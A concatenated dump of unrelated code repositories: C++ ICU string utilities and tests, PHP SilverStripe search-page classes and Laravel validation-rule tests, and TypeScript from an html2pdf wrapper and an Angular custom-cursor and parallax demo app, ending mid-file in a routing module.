if (res.isBogus()) throw IcuUtilsException(TRACEMSG(
"\nError converting UTF-8 string: [" + str + "]"));
return res;
}
icu::UnicodeString strip_filename(const icu::UnicodeString& file_path) {
ucstr_ptr fi{file_path};
int32_t pos = fi->lastIndexOf("/");
if (-1 != pos && pos < fi->length() - 1) {
return icu::UnicodeString(fi.get(), 0, pos + 1);
} else {
pos = fi->lastIndexOf("\\");
if (-1 != pos && pos < fi->length() - 1) {
return icu::UnicodeString(fi.get(), 0, pos + 1);
}
}
return icu::UnicodeString(fi.get());
}
icu::UnicodeString format(const icu::UnicodeString& pattern,
const std::vector<std::pair<icu::UnicodeString, icu::UnicodeString>>& args) {
std::vector<icu::UnicodeString> names;
names.reserve(args.size());
std::vector<icu::Formattable> formats;
formats.reserve(args.size());
for (const auto& pa : args) {
names.push_back(pa.first);
formats.emplace_back(pa.second);
}
try {
icu::ErrorCode ec;
icu::MessageFormat mf_ptr(pattern, icu::Locale::getEnglish(), ec);
auto mf = make_uobj(mf_ptr, ec);
icu::UnicodeString res;
mf->format(names.data(), formats.data(), names.size(), res, mf.code());
return res;
} catch (const std::exception& e) {
throw IcuUtilsException(TRACEMSG(e.what() +
"\nFormatting error for pattern: [" + to_utf8(pattern) + "]"));
}
}
bool operator==(const char* bytes, const icu::UnicodeString& str) {
return str == bytes;
}
} // namespace
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: ustring_utils_test.cpp
* Author: alex
*
* Created on September 2, 2015, 12:06 PM
*/
#include "staticlib/icu_utils/ustring_utils.hpp"
#include <iostream>
#include <string>
#include <unordered_map>
#include "unicode/uclean.h"
#include "unicode/unistr.h"
#include "staticlib/config/assert.hpp"
namespace su = staticlib::icu_utils;
void test_to_ustring() {
slassert(icu::UnicodeString{"42"} == su::to_ustring(42));
// slassert(icu::UnicodeString{"42"} == su::to_ustring(std::string("42")));
}
class BadExternalClass {
friend std::ostream &operator<<(std::ostream&, const BadExternalClass&) {
throw std::exception();
}
};
//void test_to_ustring_exception() {
// bool catched = false;
// try {
// BadExternalClass bc{};
// su::to_ustring(bc);
// } catch (const su::IcuUtilsException&) {
// catched = true;
// }
// slassert(catched);
//}
void test_to_utf8() {
icu::UnicodeString st{"foo"};
std::string bytes = su::to_utf8(st);
slassert(bytes == "foo");
}
void test_to_utf8_fail() {
icu::UnicodeString st{"foo"};
st.setToBogus();
bool catched = false;
try {
su::to_utf8(st);
} catch (const su::IcuUtilsException&) {
catched = true;
}
slassert(catched);
}
void test_from_utf8() {
std::string bytes{"foo"};
icu::UnicodeString st = su::from_utf8(bytes);
slassert(bytes == "foo");
}
void test_hasher() {
std::unordered_map<icu::UnicodeString, uint32_t, su::UStringHasher> map{};
map.emplace("foo", 41);
map.emplace("foo", 42);
map.emplace("bar", 43);
slassert(2 == map.size());
slassert(41 == map.find("foo")->second);
slassert(43 == map.find("bar")->second);
}
void test_equals() {
// works in vanilla ICU
slassert(icu::UnicodeString{"foo"} == "foo");
// icu_utils required
slassert("foo" == icu::UnicodeString{"foo"});
}
void test_strip_filename() {
slassert("/foo/bar/" == su::strip_filename("/foo/bar/baz"));
slassert("c:\\foo\\bar\\" == su::strip_filename("c:\\foo\\bar\\baz"));
slassert("/foo/bar/" == su::strip_filename("/foo/bar/baz.foo"));
slassert("/foo/bar/" == su::strip_filename("/foo/bar/"));
slassert("/" == su::strip_filename("/foo"));
slassert("foo" == su::strip_filename("foo"));
slassert("" == su::strip_filename(""));
}
void test_format() {
slassert("foobar" == su::format("f{first}b{second}", {{"first", "oo"}, {"second", "ar"}}));
}
int main() {
try {
test_to_ustring();
// test_to_ustring_exception();
test_to_utf8();
test_to_utf8_fail();
test_from_utf8();
test_hasher();
test_equals();
test_strip_filename();
test_format();
u_cleanup();
return 0;
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: uobj_ptr_test.cpp
* Author: alex
*
* Created on August 31, 2015, 10:30 PM
*/
#include "staticlib/icu_utils/uobj_ptr.hpp"
#include <iostream>
#include "unicode/gregocal.h"
#include "unicode/locid.h"
#include "unicode/regex.h"
#include "unicode/uclean.h"
#include "unicode/unistr.h"
#include "staticlib/config/assert.hpp"
namespace su = staticlib::icu_utils;
void test_cal() {
icu::ErrorCode ec{};
icu::GregorianCalendar cal{2014, 1, 21, ec};
auto pt = su::make_uobj(cal, ec);
slassert(21 == pt->get(UCalendarDateFields::UCAL_DAY_OF_MONTH, pt.code()));
}
void test_fail_create() {
icu::UnicodeString st{"((fail"};
icu::ErrorCode ec{};
icu::RegexMatcher ma{st, 0, ec};
bool caught = false;
try {
su::make_uobj(ma, ec);
} catch (const su::IcuErrorException&) {
caught = true;
}
slassert(caught);
}
void test_fail_call() {
icu::UnicodeString st{"((fail"};
icu::RegexPattern pattern{};
auto pt = su::make_uobj(pattern, icu::ErrorCode{});
bool caught = false;
try {
pt->compile(st, 0, pt.code());
} catch (const su::IcuErrorException&) {
caught = true;
}
slassert(caught);
}
int main() {
try {
test_cal();
test_fail_create();
test_fail_call();
u_cleanup();
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
return 0;
}
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: utracemsg.hpp
* Author: alex
*
* Created on September 4, 2015, 7:46 AM
*/
#ifndef STATICLIB_ICU_UTRACEMSG_HPP
#define STATICLIB_ICU_UTRACEMSG_HPP
#include "unicode/unistr.h"
#include "staticlib/config.hpp"
#define UTRACEMSG(message) staticlib::icu_utils::utracemsg(icu::UnicodeString() + message, __FILE__, STATICLIB_CURRENT_FUNCTION, __LINE__)
namespace staticlib {
namespace icu_utils {
/**
* Prepends specified message with formatted current function name, source file name and line number.
* Can be used through macro shortcut as `UTRACEMSG("Hi")`
*
* @param message input message
* @param file source filename, `__FILE__` macro is used in `UTRACEMSG` macro
* @param func current function name, `STATICLIB_CURRENT_FUNCTION` macro is used in `UTRACEMSG` macro
* @param line current line in source file, `__LINE__` macro is used in `UTRACEMSG` macro
* @return message string prepended with specified data
*/
icu::UnicodeString utracemsg(const icu::UnicodeString& message, const icu::UnicodeString& file,
const icu::UnicodeString& func, int line);
} // namespace
}
#endif /* STATICLIB_ICU_UTRACEMSG_HPP */
<file_sep>/*
* Copyright 2015, alex at staticlibs.net
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* File: text_test.cpp
* Author: alex
*
* Created on September 1, 2015, 11:51 AM
*/
#include "staticlib/icu_utils/ustr_ptr.hpp"
#include <array>
#include <iostream>
#include "unicode/errorcode.h"
#include "unicode/locid.h"
#include "unicode/regex.h"
#include "unicode/uclean.h"
#include "unicode/unistr.h"
#include "unicode/ustream.h"
#include "staticlib/config/assert.hpp"
#include "staticlib/icu_utils/uobj_ptr.hpp"
namespace su = staticlib::icu_utils;
const icu::UnicodeString TEXT{"The quick brown fox jumps over the lazy dog"};
const icu::Locale ENG_LOCALE = icu::Locale::getEnglish();
void test_match() {
icu::ErrorCode ma_ec{};
icu::RegexMatcher ma_obj{R"(\s(f.x)\s)", 0, ma_ec};
auto ma = su::make_uobj(ma_obj, ma_ec);
ma->reset(TEXT);
// with newer icu
// auto found = ma->find(ma.code());
auto found = ma->find();
slassert(found);
slassert(1 == ma->groupCount());
auto fox_st = ma->group(1, ma.code());
su::ustr_ptr fox{fox_st};
slassert(fox.to_utf8() == "fox");
}
void test_split() {
icu::ErrorCode ma_ec{};
icu::RegexMatcher ma_obj{R"(\s)", 0, ma_ec};
auto ma = su::make_uobj(ma_obj, ma_ec);
std::array<icu::UnicodeString, 128> parts{{}};
auto len = ma->split(TEXT, parts.data(), static_cast<int32_t>(parts.size()), ma.code());
slassert(9 == len);
auto jumps = parts[4];
auto res_st = jumps.tempSubString(0, 3).toUpper(ENG_LOCALE);
su::ustr_ptr res{res_st};
slassert(res.to_utf8() == "JUM");
}
int main() {
try {
test_match();
test_split();
u_cleanup();
} catch (const std::exception& e) {
std::cout << e.what() << std::endl;
return 1;
}
return 0;
}
| 310912ae0f55a183c11490a0b0987251ad7e4552 | [
"Markdown",
"C++"
] | 25 | C++ | staticlibs/staticlib_icu | a6f60de0efcbbc064a94f9ca1e6a8068cbccf66c | 34106b914c04beae39e4b53a121a3d212eab96f0 |
refs/heads/master | <file_sep><?php
namespace Spatie\ValidationRules\Tests\Rules;
use Illuminate\Support\Facades\Lang;
use Spatie\ValidationRules\Rules\CountryCode;
use Spatie\ValidationRules\Tests\TestCase;
class CountryCodeTest extends TestCase
{
/** @test */
public function it_will_return_true_for_a_valid_iso_3166_country_code()
{
$rule = new CountryCode();
$this->assertTrue($rule->passes('attribute', 'BE'));
$this->assertFalse($rule->passes('attribute', null));
$this->assertFalse($rule->passes('attribute', 0));
$this->assertFalse($rule->passes('attribute', '0'));
$this->assertFalse($rule->passes('attribute', 'LMAO'));
}
/** @test */
public function it_can_be_a_nullable_country_code_field()
{
$rule = (new CountryCode())->nullable();
$this->assertTrue($rule->passes('attribute', 'BE'));
$this->assertTrue($rule->passes('attribute', null));
$this->assertTrue($rule->passes('attribute', 0));
$this->assertFalse($rule->passes('attribute', false));
$this->assertFalse($rule->passes('attribute', 'LMAO'));
}
/** @test */
public function it_passes_the_attribute_name_to_the_validation_message()
{
Lang::addLines([
'messages.country_code' => ':attribute',
], Lang::getLocale(), 'validationRules');
$rule = new CountryCode();
$rule->passes('enum_field', 'WRONG');
$this->assertEquals('enum_field', $rule->message());
}
}
<file_sep><?php
namespace Spatie\ValidationRules\Tests\Rules;
use Illuminate\Support\Facades\Lang;
use Spatie\ValidationRules\Rules\Enum;
use Spatie\ValidationRules\Tests\TestCase;
class EnumTest extends TestCase
{
/** @test */
public function myclabs_it_will_return_true_for_a_value_that_is_part_of_the_enum()
{
$rule = new Enum(MyCLabsEnum::class);
$this->assertTrue($rule->passes('attribute', 'ONE'));
$this->assertFalse($rule->passes('attribute', 'FOUR'));
}
/** @test */
public function myclabs_it_passes_attribute_and_valid_values_to_the_validation_message()
{
Lang::addLines([
'messages.enum' => ':attribute :validValues',
], Lang::getLocale(), 'validationRules');
$rule = new Enum(MyCLabsEnum::class);
$rule->passes('enum_field', 'abc');
$this->assertEquals('enum_field ONE, TWO, THREE', $rule->message());
}
/** @test */
public function spatie_it_will_return_true_for_a_value_that_is_part_of_the_enum()
{
$rule = new Enum(MyCLabsEnum::class);
$this->assertTrue($rule->passes('attribute', 'ONE'));
$this->assertFalse($rule->passes('attribute', 'FOUR'));
}
/** @test */
public function spatie_it_passes_attribute_and_valid_values_to_the_validation_message()
{
Lang::addLines([
'messages.enum' => ':attribute :validValues',
], Lang::getLocale(), 'validationRules');
$rule = new Enum(MyCLabsEnum::class);
$rule->passes('enum_field', 'abc');
$this->assertEquals('enum_field ONE, TWO, THREE', $rule->message());
}
}
class MyCLabsEnum extends \MyCLabs\Enum\Enum
{
const ONE = 'one';
const TWO = 'two';
const THREE = 'three';
}
/**
* @method static self ONE()
* @method static self TWO()
* @method static self THREE()
*/
class SpatieEnum extends \Spatie\Enum\Enum
{
}
| 42709888385bc70eec68158eaf22825232126c8f | [
"PHP"
] | 2 | PHP | laravel-shift/laravel-validation-rules | 1a28b452211e82566be8ed3393adc8ec82a11ed4 | 70dc5e9f121e37451a5ecd94d7be5fe4537eb665 |
refs/heads/master | <file_sep>const API_KEY = "<KEY>"; | 7cdc93a082db3be892ea6266d688bd483caf5e72 | [
"JavaScript"
] | 1 | JavaScript | anyx8860/concert_venue_update | 03653fcd1f4b66ba630a8129e3a162fce82e0066 | 672c63be4d49098ca75a35c465e71979def306cb |
refs/heads/master | <file_sep><?php
use SilverStripe\CMS\Controllers\ModelAsController;
use SilverStripe\Control\HTTPRequest;
use SilverStripe\ORM\ArrayList;
use SilverStripe\ORM\FieldType\DBField;
use SilverStripe\ORM\PaginatedList;
use SilverStripe\View\Requirements;
/**
*
* @author <NAME> <<EMAIL>>
* @version 1.5, Apr 9, 2018 - 8:39:32 PM
*/
class DefaultSearchPageController
extends PageController {
public function init() {
parent::init();
Requirements::css("hudhaifas/silverstripe-dataobject-manager: res/css/dataobject.css");
Requirements::css("hudhaifas/silverstripe-dataobject-searcher: res/css/dataresult.css");
if ($this->isRTL()) {
Requirements::css("hudhaifas/silverstripe-dataobject-manager: res/css/dataobject-rtl.css");
}
Requirements::javascript("hudhaifas/silverstripe-dataobject-manager: res/js/dataobject.manager.js");
if (isset($_GET['Search'])) {
$sanitized_search_text = filter_var($_GET['Search'], FILTER_SANITIZE_STRING);
$this->DefaultSearchText = DBField::create_field(
'HTMLText', $sanitized_search_text
);
}
}
public function index(HTTPRequest $request) {
$start = microtime(true); // time in Microseconds
$pages = DataObjectPage::get();
$results = ArrayList::create(array());
if ($query = $request->getVar('Search')) {
foreach ($pages as $page) {
$controller = ModelAsController::controller_for($page);
if ($controller->isSearchable()) {
$result = $controller->getObjectsList();
$results->merge($controller->searchObjects($result, $query));
}
}
}
if (!$results) {
return array();
}
$paginated = PaginatedList::create(
$results, $request
)->setPageLength(36)
->setPaginationGetVar('s');
$end = microtime(true); // time in Microseconds
$data = array(
'Results' => $paginated,
'Seconds' => ($end - $start) / 1000
);
if ($request->isAjax()) {
return $this->customise($data)
->renderWith('ObjectsList');
}
return $data;
}
}
<file_sep><?php
use SilverStripe\Forms\FieldList;
use SilverStripe\Forms\Form;
use SilverStripe\Forms\FormAction;
use SilverStripe\Forms\TextField;
use SilverStripe\ORM\DataExtension;
/**
*
* @author <NAME> <<EMAIL>>
* @version 1.5, Apr 9, 2018 - 8:41:54 PM
*/
class DefaultSearchFormExtension
extends DataExtension {
public function getDefaultSearchForm() {
if ($page = DefaultSearchPage::get()->first()) {
$form = new Form(
$this->owner, //
'DefaultSearchForm', //
new FieldList(new TextField('Search', 'Search')), //
new FieldList(new FormAction('doSearch', 'Go'))
);
$form->setFormMethod('GET');
$form->setFormAction($page->Link());
$form->disableSecurityToken();
$form->setTemplate('Form_DefaultSearch');
$form->loadDataFrom($_GET);
return $form;
}
}
public function isSearchable() {
return true;
}
}
<file_sep><?php
/**
*
* @author <NAME> <<EMAIL>>
* @version 1.5, Apr 9, 2018 - 8:39:32 PM
*/
class DefaultSearchPage
extends Page {
public function requireDefaultRecords() {
if (DefaultSearchPage::get()->count() < 1) {
$search = new DefaultSearchPage();
$search->Title = "Search results";
$search->MenuTitle = "Search";
$search->ShowInMenus = 0;
$search->ShowInSearch = 0;
$search->URLSegment = "search";
$search->write();
$search->doPublish('Stage', 'Live');
}
}
public function MetaTags($includeTitle = true) {
$tags = parent::MetaTags($includeTitle);
$tags .= '<meta name="robots" content="noindex">';
return $tags;
}
}
<file_sep>## SilverStripe DataObject Searcher
| b12aae75f624c4175b68c859c9ec8b86db05b40a | [
"Markdown",
"PHP"
] | 4 | PHP | hudhaifas/silverstripe-dataobject-searcher | 1bd18ed6111f9aaf966b56bee3d12297236d9fb8 | f31504dc54bbc1be568a362db3ce92fd489a2e21 |
refs/heads/master | <repo_name>cantoo-scribe/html2pdf<file_sep>/src/types.ts
export type PDFOptions = {
filename: string;
open?: boolean;
}
<file_sep>/src/html2pdf.ts
import RNHTMLtoPDF from 'react-native-html-to-pdf'
import type { PDFOptions } from './types'
export default async function createPDF (html: string, options: PDFOptions) {
const finalOpt = {
html,
fileName: options.filename,
directory: 'Documents'
}
RNHTMLtoPDF.convert(finalOpt).then(file => {
alert(file.filePath)
}).catch(err => {
console.log(err)
})
}
<file_sep>/src/index.ts
export { default } from './html2pdf'
export * from './types'<file_sep>/src/html2pdf.web.ts
import html2pdf from 'html2pdf.js'
import type { PDFOptions } from './types'
export default function createPDF (html: string, options: PDFOptions) {
const finalOpt = { ...options }
finalOpt.filename = `${finalOpt.filename}.pdf`
const worker = html2pdf().from(html).set(finalOpt)
if (finalOpt.open) {
return worker.outputPdf('blob').then(function (pdfBlob) {
const url = URL.createObjectURL(pdfBlob)
window.open(url)
})
}
return worker.save()
}
| 408fb45b2326537c61eddc548a72ae01b5309e0f | [
"TypeScript"
] | 4 | TypeScript | cantoo-scribe/html2pdf | 97882aacc70b007f85203555e10f642f45b381c8 | 96438131556ca3a4d8349a1a2ad2fb1736beebe0 |
refs/heads/main | <repo_name>yurychang/special-effects-playground<file_sep>/src/app/modules/custom-cursor/cursor-tracker/cursor-tracker.component.ts
import {
Component,
ChangeDetectionStrategy,
HostListener,
ChangeDetectorRef,
Input,
Output,
EventEmitter,
SimpleChanges,
OnChanges,
} from '@angular/core';
import { DomSanitizer, SafeStyle } from '@angular/platform-browser';
export interface CursorMoveEvent {
x: number;
y: number;
mouseMoveEvent?: MouseEvent;
}
@Component({
selector: 'app-cursor-tracker',
templateUrl: './cursor-tracker.component.html',
styleUrls: ['./cursor-tracker.component.scss'],
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class CursorTrackerComponent implements OnChanges {
@Input() tracking = true;
@Input() enableTransition = false;
@Input() transition = 'transform 0.8s cubic-bezier(.19,1,.22,1)';
// tslint:disable-next-line: variable-name
_transition: SafeStyle;
@Input() x = 0;
@Input() y = 0;
@Output() cursorMove = new EventEmitter<CursorMoveEvent>();
get transform() {
return `translate(${this.x}px, ${this.y}px)`;
}
constructor(public cd: ChangeDetectorRef, private domSanitizer: DomSanitizer) {
this._transition = domSanitizer.bypassSecurityTrustStyle(this.transition);
}
ngOnChanges(changes: SimpleChanges): void {
if (changes.transition) {
this._transition = this.domSanitizer.bypassSecurityTrustStyle(changes.transition as unknown as string);
}
}
@HostListener('window:mousemove', ['$event'])
private mousemoveHandler(e: MouseEvent) {
if (!this.tracking) return;
this.x = e.clientX;
this.y = e.clientY;
this.cursorMove.emit({
x: this.x,
y: this.y,
mouseMoveEvent: e,
});
}
}
<file_sep>/src/app/pages/custom-cursor/custom-cursor.module.ts
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { CustomCursorRoutingModule } from './custom-cursor-routing.module';
import { CustomCursorComponent } from './custom-cursor.component';
import { SharedModule } from 'src/app/shared/shared.module';
import { CustomCursorModule as CursorModule } from '../../modules/custom-cursor/custom-cursor.module';
@NgModule({
declarations: [CustomCursorComponent],
imports: [CommonModule, CustomCursorRoutingModule, SharedModule, CursorModule],
})
export class CustomCursorModule {}
<file_sep>/src/app/modules/custom-cursor/custom-cursor-config.ts
import { ViewContainerRef } from '@angular/core';
export class CustomCursorConfig<D = any> {
// Where the attached component should live in Angular's logical component tree.
// This affects what is available for injection and the change detection order for the component instantiated inside of the dialog.
// This does not affect where the dialog content will be rendered.
viewContainerRef?: ViewContainerRef;
data?: D | null = null;
}
<file_sep>/src/app/pages/dashboard/dashboard.config.ts
export interface DashboardCardsConfig {
link: string;
title: string;
image: string;
theme?: 'dark' | 'light';
}
export const DashboardCardsConfig: DashboardCardsConfig[] = [
{
link: '/parallax-scroll',
title: 'Parallax scroll',
image: 'assets/images/dashboard/parallax-scrolling.gif',
},
{
link: '/custom-cursor',
title: 'Custom cursor',
image: './assets/images/dashboard/custom-cursor.gif',
theme: 'dark',
},
{
link: '/dynamic-svg-stroke',
title: 'Dynamic SVG stroke',
image: './assets/images/dashboard/dynamic-svg-stroke.gif',
theme: 'dark',
},
];
<file_sep>/src/app/shared/landscape-card/landscape-card.component.ts
import { Component, ChangeDetectionStrategy, Input } from '@angular/core';
@Component({
selector: 'app-landscape-card',
templateUrl: './landscape-card.component.html',
styleUrls: ['./landscape-card.component.scss'],
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class LandscapeCardComponent {
@Input() title: string = '';
@Input() image?: string;
@Input() link?: string | any[];
@Input() width: string = '270px';
@Input() height: string = '160px';
@Input() theme: 'dark' | 'light' = 'light';
get bgImage() {
return `url(${this.image})`;
}
constructor() {}
}
<file_sep>/src/app/pages/custom-cursor/custom-cursor.component.ts
import { Component, ComponentRef, ElementRef, ViewChild } from '@angular/core';
import { CustomCursorRef } from 'src/app/modules/custom-cursor/custom-cursor-ref';
import { CustomCursorService } from 'src/app/modules/custom-cursor/custom-cursor.service';
import { RingCursorComponent } from 'src/app/shared/ring-cursor/ring-cursor.component';
@Component({
templateUrl: './custom-cursor.component.html',
styleUrls: ['./custom-cursor.component.scss'],
})
export class CustomCursorComponent {
@ViewChild('btn') btn?: ElementRef<HTMLButtonElement>;
fixCursorOnBtn = false;
cursorPosition = { x: 0, y: 0 };
get btnTransform(): string {
if (!this.fixCursorOnBtn) return '';
const { x, y } = this.btnCenter;
return `translate(${this.cursorPosition.x - x}px, ${this.cursorPosition.y - y}px)`;
}
private btnCenter = { x: 0, y: 0 };
private cursorRef?: CustomCursorRef<RingCursorComponent>;
constructor(private cursor: CustomCursorService) {
this.createCursor();
}
ngAfterViewInit(): void {
setTimeout(() => {
this.btnCenter = this.getBtnCenter();
}, 0);
}
ngOnDestroy(): void {
if (this.cursorRef) {
this.cursor.destroy(this.cursorRef);
}
}
onClick() {
if (this.cursorRef) {
this.cursorRef.destroy();
this.cursorRef = undefined;
} else {
this.createCursor();
}
}
onMouseEnter() {
if (this.cursorRef) {
this.fixCursorOnBtn = true;
(this.cursorRef.contentRef as ComponentRef<RingCursorComponent>).instance.updateSize(80);
(this.cursorRef.contentRef as ComponentRef<RingCursorComponent>).instance.color = 'burlywood';
const { x, y } = this.btnCenter;
(this.cursorRef.contentRef as ComponentRef<RingCursorComponent>).instance.fix(x, y);
}
}
onMouseLeave() {
this.fixCursorOnBtn = false;
if (this.cursorRef) {
(this.cursorRef.contentRef as ComponentRef<RingCursorComponent>).instance.updateSize(50);
(this.cursorRef.contentRef as ComponentRef<RingCursorComponent>).instance.unfix();
(this.cursorRef.contentRef as ComponentRef<RingCursorComponent>).instance.color = 'cadetblue';
}
}
private createCursor() {
this.cursorRef = this.cursor.create<RingCursorComponent>(RingCursorComponent);
(this.cursorRef.contentRef as ComponentRef<RingCursorComponent>).instance.cursorMove.subscribe(cursorPosition => {
this.cursorPosition = cursorPosition;
});
}
private getBtnCenter() {
const btnEl = this.btn!.nativeElement;
const { left, top } = btnEl.getBoundingClientRect();
const width = btnEl.offsetWidth;
const height = btnEl.offsetHeight;
return { x: left + width / 2, y: top + height / 2 };
}
}
<file_sep>/src/app/pages/dynamic-svg-stroke/dynamic-svg-stroke.component.ts
import { Component, OnInit } from '@angular/core';
@Component({
selector: 'app-dynamic-svg-stroke',
templateUrl: './dynamic-svg-stroke.component.html',
styleUrls: ['./dynamic-svg-stroke.component.scss']
})
export class DynamicSvgStrokeComponent implements OnInit {
constructor() { }
ngOnInit(): void {
}
}
<file_sep>/src/app/modules/custom-cursor/custom-cursor.service.ts
import {
ComponentRef,
EmbeddedViewRef,
Inject,
Injectable,
InjectionToken,
Injector,
Optional,
TemplateRef,
} from '@angular/core';
import { ComponentPortal, ComponentType, TemplatePortal } from '@angular/cdk/portal';
import { Overlay, OverlayRef } from '@angular/cdk/overlay';
import { CustomCursorContainerComponent } from './custom-cursor-container.component';
import { CustomCursorConfig } from './custom-cursor-config';
import { CustomCursorRef } from './custom-cursor-ref';
export const CURSOR_REPLACEMENT_DEFAULT_OPTIONS = new InjectionToken<CustomCursorConfig>('CustomCursorConfig');
export const CURSOR_REPLACEMENT_DATA = new InjectionToken<any>('custom-cursor-data');
let uId = 0;
@Injectable({
providedIn: 'root',
})
export class CustomCursorService {
cuscomCursorRefs: CustomCursorRef<any>[] = [];
constructor(
private injector: Injector,
private overlay: Overlay,
@Optional() @Inject(CURSOR_REPLACEMENT_DEFAULT_OPTIONS) private defaultOptions: CustomCursorConfig | undefined
) {}
create<T, D = any>(
componentOrTemplateRef: ComponentType<T> | TemplateRef<T>,
config?: CustomCursorConfig<D>
): CustomCursorRef<T> {
config = { ...(this.defaultOptions || new CustomCursorConfig()), ...config };
const overlayRef = this.createOverlay();
const container = this.attachCursorContainer<D>(overlayRef, config);
const contentRef = this.attachCursorContent<T>(componentOrTemplateRef, container.instance, config);
const customCursorRef = new CustomCursorRef(this.uId, contentRef, container.instance, overlayRef, config);
this.cuscomCursorRefs.push(customCursorRef);
customCursorRef.afterDestroy.subscribe(() => this.destroyCustomCursor(customCursorRef));
return customCursorRef;
}
destroy(idOrRef: string | CustomCursorRef<any>) {
if (idOrRef instanceof CustomCursorRef) {
this.destroyCustomCursor(idOrRef);
} else {
const cursorRef = this.cuscomCursorRefs.find(({ id }) => id === idOrRef);
if (cursorRef) {
this.destroyCustomCursor(cursorRef);
}
}
}
get uId() {
return `custom-curser-${uId++}`;
}
private destroyCustomCursor(cursorRef: CustomCursorRef<any>) {
cursorRef.overlayRef.detach();
this.cuscomCursorRefs = this.cuscomCursorRefs.filter(ref => ref !== cursorRef);
}
private attachCursorContainer<D>(overlay: OverlayRef, config: CustomCursorConfig<D>) {
const injector = Injector.create({
providers: [
{
provide: CustomCursorConfig,
useValue: config,
},
],
parent: this.injector,
});
const containerRef = overlay.attach(
new ComponentPortal<CustomCursorContainerComponent>(CustomCursorContainerComponent, null, injector)
);
return containerRef;
}
private attachCursorContent<T>(
componentOrTemplateRef: ComponentType<T> | TemplateRef<T>,
container: CustomCursorContainerComponent,
config: CustomCursorConfig
): ComponentRef<T> | EmbeddedViewRef<T> {
if (componentOrTemplateRef instanceof TemplateRef) {
return container.attach<T>(new TemplatePortal<T>(componentOrTemplateRef, null!, config.data));
} else {
const injector = Injector.create({
providers: [
{
provide: CURSOR_REPLACEMENT_DATA,
useValue: config.data,
},
],
parent: this.injector,
});
return container.attach<T>(new ComponentPortal<T>(componentOrTemplateRef, config.viewContainerRef, injector));
}
}
private createOverlay(): OverlayRef {
return this.overlay.create({
hasBackdrop: false,
});
}
}
<file_sep>/src/app/shared/ring-cursor/ring-cursor.component.spec.ts
import { ComponentFixture, TestBed } from '@angular/core/testing';
import { RingCursorComponent } from './ring-cursor.component';
describe('RingCursorComponent', () => {
let component: RingCursorComponent;
let fixture: ComponentFixture<RingCursorComponent>;
beforeEach(async () => {
await TestBed.configureTestingModule({
declarations: [ RingCursorComponent ]
})
.compileComponents();
});
beforeEach(() => {
fixture = TestBed.createComponent(RingCursorComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
<file_sep>/src/app/pages/dynamic-svg-stroke/dynamic-svg-stroke.module.ts
import { NgModule } from '@angular/core';
import { CommonModule } from '@angular/common';
import { DynamicSvgStrokeRoutingModule } from './dynamic-svg-stroke-routing.module';
import { DynamicSvgStrokeComponent } from './dynamic-svg-stroke.component';
import { SharedModule } from 'src/app/shared/shared.module';
@NgModule({
declarations: [DynamicSvgStrokeComponent],
imports: [CommonModule, DynamicSvgStrokeRoutingModule, SharedModule],
})
export class DynamicSvgStrokeModule {}
<file_sep>/src/app/pages/parallax-scroll/parallax-scroll.component.spec.ts
import { ComponentFixture, TestBed } from '@angular/core/testing';
import { ParallaxScrollComponent } from './parallax-scroll.component';
describe('ParallaxScrollComponent', () => {
let component: ParallaxScrollComponent;
let fixture: ComponentFixture<ParallaxScrollComponent>;
beforeEach(async () => {
await TestBed.configureTestingModule({
declarations: [ ParallaxScrollComponent ]
})
.compileComponents();
});
beforeEach(() => {
fixture = TestBed.createComponent(ParallaxScrollComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
<file_sep>/src/app/modules/custom-cursor/custom-cursor-ref.ts
import { OverlayRef } from '@angular/cdk/overlay';
import { ComponentRef, EmbeddedViewRef, EventEmitter } from '@angular/core';
import { CustomCursorConfig } from './custom-cursor-config';
import { CustomCursorContainerComponent } from './custom-cursor-container.component';
export class CustomCursorRef<T> {
afterDestroy = new EventEmitter();
constructor(
public readonly id: string,
public contentRef: ComponentRef<T> | EmbeddedViewRef<T>,
public container: CustomCursorContainerComponent,
public overlayRef: OverlayRef,
public config: CustomCursorConfig
) {}
destroy() {
this.afterDestroy.emit();
}
}
<file_sep>/src/app/app-routing.module.ts
import { NgModule } from '@angular/core';
import { RouterModule, Routes } from '@angular/router';
import { DashboardComponent } from './pages/dashboard/dashboard.component';
const routes: Routes = [
{
path: 'custom-cursor',
loadChildren: () => import('./pages/custom-cursor/custom-cursor.module').then(m => m.CustomCursorModule),
},
{
path: 'parallax-scroll',
